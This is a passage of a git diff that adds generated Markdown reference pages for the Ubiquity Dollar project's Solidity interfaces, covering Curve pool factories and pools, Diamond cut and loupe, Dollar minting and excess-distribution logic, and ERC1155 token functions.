+|``|`bool`|| + + +### add_base_pool + +Add a base pool to the registry, which may be used in factory metapools + +*Only callable by admin* + + +```solidity +function add_base_pool(address _base_pool, address _metapool_implementation, address _fee_receiver) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_base_pool`|`address`|Pool address to add| +|`_metapool_implementation`|`address`|Implementation address that can be used with this base pool| +|`_fee_receiver`|`address`|Admin fee receiver address for metapools using this base pool| + + +### deploy_metapool + +Deploy a new metapool + + +```solidity +function deploy_metapool( + address _base_pool, + string memory _name, + string memory _symbol, + address _coin, + uint256 _A, + uint256 _fee +) external returns (address); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_base_pool`|`address`|Address of the base pool to use within the metapool| +|`_name`|`string`|Name of the new metapool| +|`_symbol`|`string`|Symbol for the new metapool - will be concatenated with the base pool symbol| +|`_coin`|`address`|Address of the coin being used in the metapool| +|`_A`|`uint256`|Amplification co-efficient - a higher value here means less tolerance for imbalance within the pool's assets. Suggested values include: Uncollateralized algorithmic stablecoins: 5-10 Non-redeemable, collateralized assets: 100 Redeemable assets: 200-400| +|`_fee`|`uint256`|Trade fee, given as an integer with 1e10 precision. The minimum fee is 0.04% (4000000), the maximum is 1% (100000000). 50% of the fee is distributed to veCRV holders.| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address`|Address of the deployed pool| + + +### commit_transfer_ownership + +Transfer ownership of this contract to `addr` + + +```solidity +function commit_transfer_ownership(address addr) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`addr`|`address`|Address of the new owner| + + +### accept_transfer_ownership + +Accept a pending ownership transfer + +*Only callable by the new owner* + + +```solidity +function accept_transfer_ownership() external; +``` + +### set_fee_receiver + +Set fee receiver for base and plain pools + + +```solidity +function set_fee_receiver(address _base_pool, address _fee_receiver) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_base_pool`|`address`|Address of base pool to set fee receiver for. For plain pools, leave as `ZERO_ADDRESS`.| +|`_fee_receiver`|`address`|Address that fees are sent to| + + +### convert_fees + +Convert the fees of a pool and transfer to the pool's fee receiver + +*All fees are converted to LP token of base pool* + + +```solidity +function convert_fees() external returns (bool); +``` + +### admin + +Returns admin address + + +```solidity +function admin() external view returns (address); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address`|Admin address| + + +### future_admin + +Returns future admin address + + +```solidity +function future_admin() external view returns (address); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address`|Fututre admin address| + + +### pool_list + +Returns pool address by index + + +```solidity +function pool_list(uint256 arg0) external view returns (address); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`arg0`|`uint256`|Pool index| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address`|Pool address| + + +### pool_count + +Returns `pool_list` length + + +```solidity +function pool_count() external view returns (uint256); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Pool list length| + + +### base_pool_list + +Returns base pool address by index + + +```solidity +function base_pool_list(uint256 arg0) external view returns (address); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`arg0`|`uint256`|Base pool index| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address`|Base pool address| + + +### base_pool_count + +Returns `base_pool_list` length + + +```solidity +function base_pool_count() external view returns (uint256); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Base pool list length| + + +### fee_receiver + +Returns fee reciever by pool address + + +```solidity +function fee_receiver(address arg0) external view returns (address); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`arg0`|`address`|Pool address| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address`|Fee receiver| + + +## Events +### BasePoolAdded +Emitted when a new base pool is added + + +```solidity +event BasePoolAdded(address base_pool, address implementat); +``` + +### MetaPoolDeployed +Emitted when a new MetaPool is deployed + + +```solidity +event MetaPoolDeployed(address coin, address base_pool, uint256 A, uint256 fee, address deployer); +``` + diff --git a/packages/contracts/docs/src/src/dollar/interfaces/ICurveStableSwapFactoryNG.sol/interface.ICurveStableSwapFactoryNG.md b/packages/contracts/docs/src/src/dollar/interfaces/ICurveStableSwapFactoryNG.sol/interface.ICurveStableSwapFactoryNG.md new file mode 100644 index 000000000..d99498b8f --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/interfaces/ICurveStableSwapFactoryNG.sol/interface.ICurveStableSwapFactoryNG.md @@ -0,0 +1,97 @@ +# ICurveStableSwapFactoryNG +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/interfaces/ICurveStableSwapFactoryNG.sol) + +Factory allows the permissionless deployment of up to +eight-coin plain pools (ex: DAI-USDT-USDC) and metapools (ex: USDT-3CRV). +Liquidity pool and LP token share the same contract. + + +## Functions +### deploy_metapool + +Deploys a stableswap NG metapool + + +```solidity +function deploy_metapool( + address _base_pool, + string memory _name, + string memory _symbol, + address _coin, + uint256 _A, + uint256 _fee, + uint256 _offpeg_fee_multiplier, + uint256 _ma_exp_time, + uint256 _implementation_idx, + uint8 _asset_type, + bytes4 _method_id, + address _oracle +) external returns (address); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_base_pool`|`address`|Address of the base pool to pair the token with. For tripool (DAI-USDT-USDC) use its pool address at 0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7.| +|`_name`|`string`|Name of the new metapool, ex: `Dollar/3CRV`| +|`_symbol`|`string`|Symbol for the new metapool’s LP token - will be concatenated with the base pool symbol, ex: `Dollar3CRV`| +|`_coin`|`address`|Address of the coin being used in the metapool, ex: use Dollar token address| +|`_A`|`uint256`|Amplification coefficient. If set to 0 then bonding curve acts like Uniswap. Any >0 value makes the bonding curve to swap at 1:1 constant price, the more `_A` the longer the constant price period. Curve recommends set it to 100 for crypto collateralizard stablecoins. This parameter can be updated later.| +|`_fee`|`uint256`|Trade fee, given as an integer with 1e10 precision, ex: 4000000 = 0.04% fee| +|`_offpeg_fee_multiplier`|`uint256`|Off-peg multiplier. Curve recommends set it to `20000000000`. This parameter can be updated later. More info: https://docs.curve.fi/stableswap-exchange/stableswap-ng/pools/overview/#dynamic-fees| +|`_ma_exp_time`|`uint256`|MA time; set as time_in_seconds / ln(2), ex: 866 = 600 seconds, 2597 = 1800 seconds. This parameter can be updated later.| +|`_implementation_idx`|`uint256`|Index of the metapool implementation to use. Can be retrieved via `ICurveStableSwapFactoryNG.metapool_implementations()`. There is only 1 metapool implementation right now so use index `0`.| +|`_asset_type`|`uint8`|Asset type of the pool as an integer. Available asset type indexes: - 0: Standard ERC20 token with no additional features - 1: Oracle - token with rate oracle (e.g. wstETH) - 2: Rebasing - token with rebase (e.g. stETH) - 3: ERC4626 - token with convertToAssets method (e.g. sDAI) Dollar is a standard ERC20 token so we should use asset type with index `0`.| +|`_method_id`|`bytes4`|First four bytes of the Keccak-256 hash of the function signatures of the oracle addresses that give rate oracles. This is applied only to asset type `1` (Oracle). For Dollar token deployment set empty.| +|`_oracle`|`address`|Rate oracle address. This is applied only to asset type `1` (Oracle). For Dollar token deployment set empty address.| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address`|Deployed metapool address| + + +### deploy_plain_pool + +Deploys a new plain pool + + +```solidity +function deploy_plain_pool( + string memory _name, + string memory _symbol, + address[] memory _coins, + uint256 _A, + uint256 _fee, + uint256 _offpeg_fee_multiplier, + uint256 _ma_exp_time, + uint256 _implementation_idx, + uint8[] memory _asset_types, + bytes4[] memory _method_ids, + address[] memory _oracles +) external returns (address); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_name`|`string`|Name of the new plain pool, ex: "LUSD/Dollar"| +|`_symbol`|`string`|Symbol for the new pool's LP token, ex: "LUSDDollar"| +|`_coins`|`address[]`|Array of addresses of the coins being used in the pool| +|`_A`|`uint256`|Amplification coefficient. If set to 0 then bonding curve acts like Uniswap. Any >0 value makes the bonding curve to swap at 1:1 constant price, the more `_A` the longer the constant price period. Curve recommends set it to 100 for crypto collateralizard stablecoins. This parameter can be updated later.| +|`_fee`|`uint256`|Trade fee, given as an integer with 1e10 precision, ex: 4000000 = 0.04% fee| +|`_offpeg_fee_multiplier`|`uint256`|Off-peg multiplier. Curve recommends set it to `20000000000`. This parameter can be updated later. More info: https://docs.curve.fi/stableswap-exchange/stableswap-ng/pools/overview/#dynamic-fees| +|`_ma_exp_time`|`uint256`|MA time; set as time_in_seconds / ln(2), ex: 866 = 600 seconds, 2597 = 1800 seconds. This parameter can be updated later.| +|`_implementation_idx`|`uint256`|Index of the plain pool implementation to use. Can be retrieved via `ICurveStableSwapFactoryNG.pool_implementations()`. There is only 1 plain pool implementation right now so use index `0`.| +|`_asset_types`|`uint8[]`|Asset types of the pool tokens as an integer. Available asset type indexes: - 0: Standard ERC20 token with no additional features - 1: Oracle - token with rate oracle (e.g. wstETH) - 2: Rebasing - token with rebase (e.g. stETH) - 3: ERC4626 - token with convertToAssets method (e.g. sDAI) Both Dollar and LUSD are standard ERC20 tokens so we should use asset types with index `0`.| +|`_method_ids`|`bytes4[]`|Array of first four bytes of the Keccak-256 hash of the function signatures of the oracle addresses that give rate oracles. This is applied only to asset type `1` (Oracle). For Dollar token deployment set empty.| +|`_oracles`|`address[]`|Array of rate oracle addresses. This is applied only to asset type `1` (Oracle). For Dollar token deployment set empty address.| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address`|Deployed plain pool address| + + diff --git a/packages/contracts/docs/src/src/dollar/interfaces/ICurveStableSwapMetaNG.sol/interface.ICurveStableSwapMetaNG.md b/packages/contracts/docs/src/src/dollar/interfaces/ICurveStableSwapMetaNG.sol/interface.ICurveStableSwapMetaNG.md new file mode 100644 index 000000000..50ad76cbb --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/interfaces/ICurveStableSwapMetaNG.sol/interface.ICurveStableSwapMetaNG.md @@ -0,0 +1,192 @@ +# ICurveStableSwapMetaNG +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/interfaces/ICurveStableSwapMetaNG.sol) + +**Inherits:** +IERC20 + +Curve MetaPool interface + +**What is Curve MetaPool** + +The pool that consists of 2 tokens: stable coin and 3CRV LP token. +For example the pool may contain Ubiquity Dollar and 3CRV LP token. +This allows users to trade between Ubiquity Dollar and any of the tokens +from the Curve 3Pool (DAI, USDC, USDT). When user adds liquidity to the pool +then he is rewarded with MetaPool LP tokens. 1 Dollar3CRV LP token != 1 stable coin token. + +Add liquidity example: +1. User sends 100 Ubiquity Dollars to the pool +2. User gets 100 Dollar3CRV LP tokens of the pool + +Remove liquidity example: +1. User sends 100 Dollar3CRV LP tokens to the pool +2. User gets 100 Dollar/DAI/USDC/USDT (may choose any) tokens + +*Source: https://github.com/curvefi/stableswap-ng/blob/bff1522b30819b7b240af17ccfb72b0effbf6c47/contracts/main/CurveStableSwapMetaNG.vy* + +*Docs: https://docs.curve.fi/stableswap-exchange/stableswap-ng/pools/metapool/* + + +## Functions +### add_liquidity + +Deposits coins into to the pool and mints new LP tokens + + +```solidity +function add_liquidity(uint256[2] memory _amounts, uint256 _min_mint_amount, address _receiver) + external + returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_amounts`|`uint256[2]`|List of amounts of underlying coins to deposit. Amounts correspond to the tokens at the same index locations within `coins`.| +|`_min_mint_amount`|`uint256`|Minimum amount of LP tokens to mint from the deposit| +|`_receiver`|`address`|Optional address that receives the LP tokens. If not specified, they are sent to the caller.| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|The amount of LP tokens that were minted in the deposit| + + +### balances + +Getter for the current balance of coin `i` within the pool + + +```solidity +function balances(uint256 i) external view returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`i`|`uint256`|Coin index| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Coin balance| + + +### calc_token_amount + +Estimates the amount of LP tokens minted or burned based on a deposit or withdrawal + +This calculation accounts for slippage, but not fees. It should be used as a basis for +determining expected amounts when calling `add_liquidity()` or `remove_liquidity_imbalance()`, +but should not be considered to be precise! + + +```solidity +function calc_token_amount(uint256[2] memory _amounts, bool _is_deposit) external view returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_amounts`|`uint256[2]`|Amount of each coin being deposited. Amounts correspond to the tokens at the same index locations within `coins()`.| +|`_is_deposit`|`bool`|Set `True` for deposits, `False` for withdrawals| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|The expected amount of LP tokens minted or burned| + + +### coins + +Returns token address by the provided `arg0` index + + +```solidity +function coins(uint256 arg0) external view returns (address); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`arg0`|`uint256`|Token index| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address`|Token address| + + +### exchange + +Performs an exchange between two tokens. Index values can be found +using the `coins()` public getter method, or `get_coins()` within the factory contract. + + +```solidity +function exchange(int128 i, int128 j, uint256 dx, uint256 min_dy) external returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`i`|`int128`|Index value of the token to send| +|`j`|`int128`|Index value of the token to receive| +|`dx`|`uint256`|The amount of `i` being exchanged| +|`min_dy`|`uint256`|The minimum amount of `j` to receive. If the swap would result in less, the transaction will revert.| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|The amount of `j` received in the exchange| + + +### price_oracle + +Function to calculate the exponential moving average (ema) price for the coin at index value `i` + + +```solidity +function price_oracle(uint256 i) external view returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`i`|`uint256`|Index value of coin| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Price oracle| + + +### remove_liquidity_one_coin + +Withdraws a single asset from the pool + + +```solidity +function remove_liquidity_one_coin(uint256 _burn_amount, int128 i, uint256 _min_received) external returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_burn_amount`|`uint256`|Amount of LP tokens to burn in the withdrawal| +|`i`|`int128`|Index value of the coin to withdraw. Can be found using the `coins()` getter method.| +|`_min_received`|`uint256`|Minimum amount of the coin to receive| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|The amount of the coin received in the withdrawal| + + diff --git a/packages/contracts/docs/src/src/dollar/interfaces/ICurveStableSwapNG.sol/interface.ICurveStableSwapNG.md b/packages/contracts/docs/src/src/dollar/interfaces/ICurveStableSwapNG.sol/interface.ICurveStableSwapNG.md new file mode 100644 index 000000000..98977ba3b --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/interfaces/ICurveStableSwapNG.sol/interface.ICurveStableSwapNG.md @@ -0,0 +1,19 @@ +# ICurveStableSwapNG +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/interfaces/ICurveStableSwapNG.sol) + +**Inherits:** +[ICurveStableSwapMetaNG](/src/dollar/interfaces/ICurveStableSwapMetaNG.sol/interface.ICurveStableSwapMetaNG.md) + +Curve's interface for plain pool which contains only USD pegged assets + + +## Functions +### add_liquidity + + +```solidity +function add_liquidity(uint256[] memory _amounts, uint256 _min_mint_amount, address _receiver) + external + returns (uint256); +``` + diff --git a/packages/contracts/docs/src/src/dollar/interfaces/ICurveTwocryptoOptimized.sol/interface.ICurveTwocryptoOptimized.md b/packages/contracts/docs/src/src/dollar/interfaces/ICurveTwocryptoOptimized.sol/interface.ICurveTwocryptoOptimized.md new file mode 100644 index 000000000..02ebabae6 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/interfaces/ICurveTwocryptoOptimized.sol/interface.ICurveTwocryptoOptimized.md @@ -0,0 +1,40 @@ +# ICurveTwocryptoOptimized +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/interfaces/ICurveTwocryptoOptimized.sol) + +**Inherits:** +[ICurveStableSwapMetaNG](/src/dollar/interfaces/ICurveStableSwapMetaNG.sol/interface.ICurveStableSwapMetaNG.md) + +Curve's CurveTwocryptoOptimized interface + +*Differences between Curve's crypto and stable swap meta pools (and how Ubiquity organization uses them): +1. They contain different tokens: +a) Curve's stable swap metapool containts Dollar/3CRVLP pair +b) Curve's crypto pool contains Governance/ETH pair +2. They use different bonding curve shapes: +a) Curve's stable swap metapool is more straight (because underlying tokens are pegged to USD) +b) Curve's crypto pool resembles Uniswap's bonding curve (because underlying tokens are not USD pegged) +3. The `price_oracle()` method works differently: +a) Curve's stable swap metapool `price_oracle(uint256 i)` accepts coin index parameter +b) Curve's crypto pool `price_oracle()` doesn't accept coin index parameter and always returns oracle price for coin at index 1* + +*Basically `ICurveTwocryptoOptimized` has the same interface as `ICurveStableSwapMetaNG` +but we distinguish them in the code for clarity.* + + +## Functions +### price_oracle + +Getter for the oracle price of the coin at index 1 with regard to the coin at index 0. +The price oracle is an exponential moving average with a periodicity determined by `ma_time`. + + +```solidity +function price_oracle() external view returns (uint256); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Price oracle| + + diff --git a/packages/contracts/docs/src/src/dollar/interfaces/IDepositZap.sol/interface.IDepositZap.md b/packages/contracts/docs/src/src/dollar/interfaces/IDepositZap.sol/interface.IDepositZap.md new file mode 100644 index 000000000..6ea361e86 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/interfaces/IDepositZap.sol/interface.IDepositZap.md @@ -0,0 +1,88 @@ +# IDepositZap +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/interfaces/IDepositZap.sol) + +Interface for Curve's Deposit Zap + +Deposit contracts (also known as “zaps”) allow users to add and remove liquidity +from a pool using the pool’s underlying tokens + + +## Functions +### add_liquidity + +Wrap underlying coins and deposit them into `_pool` + + +```solidity +function add_liquidity(address _pool, uint256[4] calldata _amounts, uint256 _min_mint_amount) + external + returns (uint256 lpAmount); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_pool`|`address`|Address of the pool to deposit into| +|`_amounts`|`uint256[4]`|List of amounts of underlying coins to deposit| +|`_min_mint_amount`|`uint256`|Minimum amount of LP tokens to mint from the deposit| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`lpAmount`|`uint256`|Amount of LP tokens received by depositing| + + +### remove_liquidity_one_coin + +Withdraw and unwrap a single coin from the pool + + +```solidity +function remove_liquidity_one_coin(address _pool, uint256 lpAmount, int128 i, uint256 min_amount) + external + returns (uint256 coinAmount); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_pool`|`address`|Address of the pool to withdraw from| +|`lpAmount`|`uint256`|Amount of LP tokens to burn in the withdrawal| +|`i`|`int128`|Index value of the coin to withdraw| +|`min_amount`|`uint256`|Minimum amount of underlying coin to receive| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`coinAmount`|`uint256`|Amount of underlying coin received| + + +### remove_liquidity + +Withdraw and unwrap coins from the pool + +*Withdrawal amounts are based on current deposit ratios* + + +```solidity +function remove_liquidity(address _pool, uint256 _amount, uint256[4] calldata min_amounts) + external + returns (uint256[4] calldata); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_pool`|`address`|Address of the pool to deposit into| +|`_amount`|`uint256`|Quantity of LP tokens to burn in the withdrawal| +|`min_amounts`|`uint256[4]`|Minimum amounts of underlying coins to receive| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256[4]`|List of amounts of underlying coins that were withdrawn| + + diff --git a/packages/contracts/docs/src/src/dollar/interfaces/IDiamondCut.sol/interface.IDiamondCut.md b/packages/contracts/docs/src/src/dollar/interfaces/IDiamondCut.sol/interface.IDiamondCut.md new file mode 100644 index 000000000..48b36e7d1 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/interfaces/IDiamondCut.sol/interface.IDiamondCut.md @@ -0,0 +1,63 @@ +# IDiamondCut +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/interfaces/IDiamondCut.sol) + +Interface that allows modifications to diamond function selector mapping + + +## Functions +### diamondCut + +Add/replace/remove any number of functions and optionally execute a function with delegatecall + +*`_calldata` is executed with delegatecall on `_init`* + + +```solidity +function diamondCut(FacetCut[] calldata _diamondCut, address _init, bytes calldata _calldata) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_diamondCut`|`FacetCut[]`|Contains the facet addresses and function selectors| +|`_init`|`address`|The address of the contract or facet to execute _calldata| +|`_calldata`|`bytes`|A function call, including function selector and arguments| + + +## Events +### DiamondCut +Emitted when facet selectors are modified + + +```solidity +event DiamondCut(FacetCut[] _diamondCut, address _init, bytes _calldata); +``` + +## Structs +### FacetCut +Struct used as a mapping of facet to function selectors + + +```solidity +struct FacetCut { + address facetAddress; + FacetCutAction action; + bytes4[] functionSelectors; +} +``` + +## Enums +### FacetCutAction +Available diamond operations + +*Add=0, Replace=1, Remove=2* + + +```solidity +enum FacetCutAction { + Add, + Replace, + Remove +} +``` + diff --git a/packages/contracts/docs/src/src/dollar/interfaces/IDiamondLoupe.sol/interface.IDiamondLoupe.md b/packages/contracts/docs/src/src/dollar/interfaces/IDiamondLoupe.sol/interface.IDiamondLoupe.md new file mode 100644 index 000000000..62b3c620e --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/interfaces/IDiamondLoupe.sol/interface.IDiamondLoupe.md @@ -0,0 +1,96 @@ +# IDiamondLoupe +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/interfaces/IDiamondLoupe.sol) + +A loupe is a small magnifying glass used to look at diamonds. +These functions look at diamonds. + +*These functions are expected to be called frequently by 3rd party tools.* + + +## Functions +### facets + +Returns all facet addresses and their four byte function selectors + + +```solidity +function facets() external view returns (Facet[] memory facets_); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`facets_`|`Facet[]`|Facets with function selectors| + + +### facetFunctionSelectors + +Returns all function selectors supported by a specific facet + + +```solidity +function facetFunctionSelectors(address _facet) external view returns (bytes4[] memory facetFunctionSelectors_); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_facet`|`address`|Facet address| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`facetFunctionSelectors_`|`bytes4[]`|Function selectors for a particular facet| + + +### facetAddresses + +Returns all facet addresses used by a diamond + + +```solidity +function facetAddresses() external view returns (address[] memory facetAddresses_); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`facetAddresses_`|`address[]`|Facet addresses in a diamond| + + +### facetAddress + +Returns the facet that supports the given selector + +*If facet is not found returns `address(0)`* + + +```solidity +function facetAddress(bytes4 _functionSelector) external view returns (address facetAddress_); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_functionSelector`|`bytes4`|Function selector| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`facetAddress_`|`address`|Facet address| + + +## Structs +### Facet +Struct used as a mapping of facet to function selectors + + +```solidity +struct Facet { + address facetAddress; + bytes4[] functionSelectors; +} +``` + diff --git a/packages/contracts/docs/src/src/dollar/interfaces/IDollarAmoMinter.sol/interface.IDollarAmoMinter.md b/packages/contracts/docs/src/src/dollar/interfaces/IDollarAmoMinter.sol/interface.IDollarAmoMinter.md new file mode 100644 index 000000000..37bac6963 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/interfaces/IDollarAmoMinter.sol/interface.IDollarAmoMinter.md @@ -0,0 +1,39 @@ +# IDollarAmoMinter +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/interfaces/IDollarAmoMinter.sol) + +AMO minter interface + +*AMO minter can borrow collateral from the Ubiquity Pool to make some yield* + + +## Functions +### collateralDollarBalance + +Returns collateral Dollar balance + + +```solidity +function collateralDollarBalance() external view returns (uint256); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Collateral Dollar balance| + + +### collateralIndex + +Returns collateral index (from the Ubiquity Pool) for which AMO minter is responsible + + +```solidity +function collateralIndex() external view returns (uint256); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Collateral token index| + + diff --git a/packages/contracts/docs/src/src/dollar/interfaces/IDollarMintCalculator.sol/interface.IDollarMintCalculator.md b/packages/contracts/docs/src/src/dollar/interfaces/IDollarMintCalculator.sol/interface.IDollarMintCalculator.md new file mode 100644 index 000000000..7f7690e09 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/interfaces/IDollarMintCalculator.sol/interface.IDollarMintCalculator.md @@ -0,0 +1,31 @@ +# IDollarMintCalculator +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/interfaces/IDollarMintCalculator.sol) + +Interface for calculating amount of Dollars to be minted + +When Dollar price > 1$ then any user can call `mintClaimableDollars()` to mint Dollars +in order to move Dollar token to 1$ peg. The amount of Dollars to be minted is calculated +using this formula `(TWAP_PRICE - 1) * DOLLAR_TOTAL_SUPPLY`. + +Example: +1. Dollar price (i.e. TWAP price): 1.1$, Dollar total supply: 10_000 +2. When `mintClaimableDollars()` is called then `(1.1 - 1) * 10_000 = 1000` Dollars are minted +to the current contract. + + +## Functions +### getDollarsToMint + +Returns amount of Dollars to be minted based on formula `(TWAP_PRICE - 1) * DOLLAR_TOTAL_SUPPLY` + + +```solidity +function getDollarsToMint() external view returns (uint256); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Amount of Dollars to be minted| + + diff --git a/packages/contracts/docs/src/src/dollar/interfaces/IDollarMintExcess.sol/interface.IDollarMintExcess.md b/packages/contracts/docs/src/src/dollar/interfaces/IDollarMintExcess.sol/interface.IDollarMintExcess.md new file mode 100644 index 000000000..005630241 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/interfaces/IDollarMintExcess.sol/interface.IDollarMintExcess.md @@ -0,0 +1,36 @@ +# IDollarMintExcess +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/interfaces/IDollarMintExcess.sol) + +Interface for distributing excess Dollars when `mintClaimableDollars()` is called + +Excess Dollars are distributed this way: +- 50% goes to the treasury address +- 10% goes for burning Dollar-Governance LP tokens in a DEX pool +- 40% goes to the Staking contract + +Example: +1. 1000 Dollars should be distributed +2. 50% (500 Dollars) goes to the `AppStorage.treasuryAddress` +3. 10% (100 Dollars) goes for burning Dollar-Governance LP tokens: +- Half of 10% Dollars are swapped for Governance tokens on a DEX +- Governance tokens and half of 10% tokens are added as a liquidity to the Dollar-Governance DEX pool +- Dollar-Governance LP tokens are transfered to 0 address (i.e. burning LP tokens) +4. 40% (400 Dollars) goes to the Staking contract: +- Swap Dollars for 3CRV LP tokens in the Curve's Dollar-3CRV MetaPool +- Add 3CRV LP tokens to the Curve Dollar-3CRV MetaPool +- Transfer Dollar-3CRV LP tokens to the Staking contract + + +## Functions +### distributeDollars + +Distributes excess Dollars: +- 50% goes to the treasury address +- 10% goes for burning Dollar-Governance LP tokens in a DEX pool +- 40% goes to the Staking contract + + +```solidity +function distributeDollars() external; +``` + diff --git a/packages/contracts/docs/src/src/dollar/interfaces/IERC1155Ubiquity.sol/interface.IERC1155Ubiquity.md b/packages/contracts/docs/src/src/dollar/interfaces/IERC1155Ubiquity.sol/interface.IERC1155Ubiquity.md new file mode 100644 index 000000000..35a29dbb7 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/interfaces/IERC1155Ubiquity.sol/interface.IERC1155Ubiquity.md @@ -0,0 +1,145 @@ +# IERC1155Ubiquity +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/interfaces/IERC1155Ubiquity.sol) + +**Inherits:** +IERC1155 + +ERC1155 Ubiquity interface + +ERC1155 with: +- ERC1155 minter, burner and pauser +- TotalSupply per id +- Ubiquity Manager access control + + +## Functions +### mint + +Creates `amount` new tokens for `to`, of token type `id` + + +```solidity +function mint(address to, uint256 id, uint256 amount, bytes memory data) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`to`|`address`|Address where to mint tokens| +|`id`|`uint256`|Token type id| +|`amount`|`uint256`|Tokens amount to mint| +|`data`|`bytes`|Arbitrary data| + + +### mintBatch + +Mints multiple token types for `to` address + + +```solidity +function mintBatch(address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`to`|`address`|Address where to mint tokens| +|`ids`|`uint256[]`|Array of token type ids| +|`amounts`|`uint256[]`|Array of token amounts| +|`data`|`bytes`|Arbitrary data| + + +### burn + +Destroys `amount` tokens of token type `id` from `account` +Emits a `TransferSingle` event. +Requirements: +- `account` cannot be the zero address. +- `account` must have at least `amount` tokens of token type `id`. + + +```solidity +function burn(address account, uint256 id, uint256 value) external; +``` + +### burnBatch + 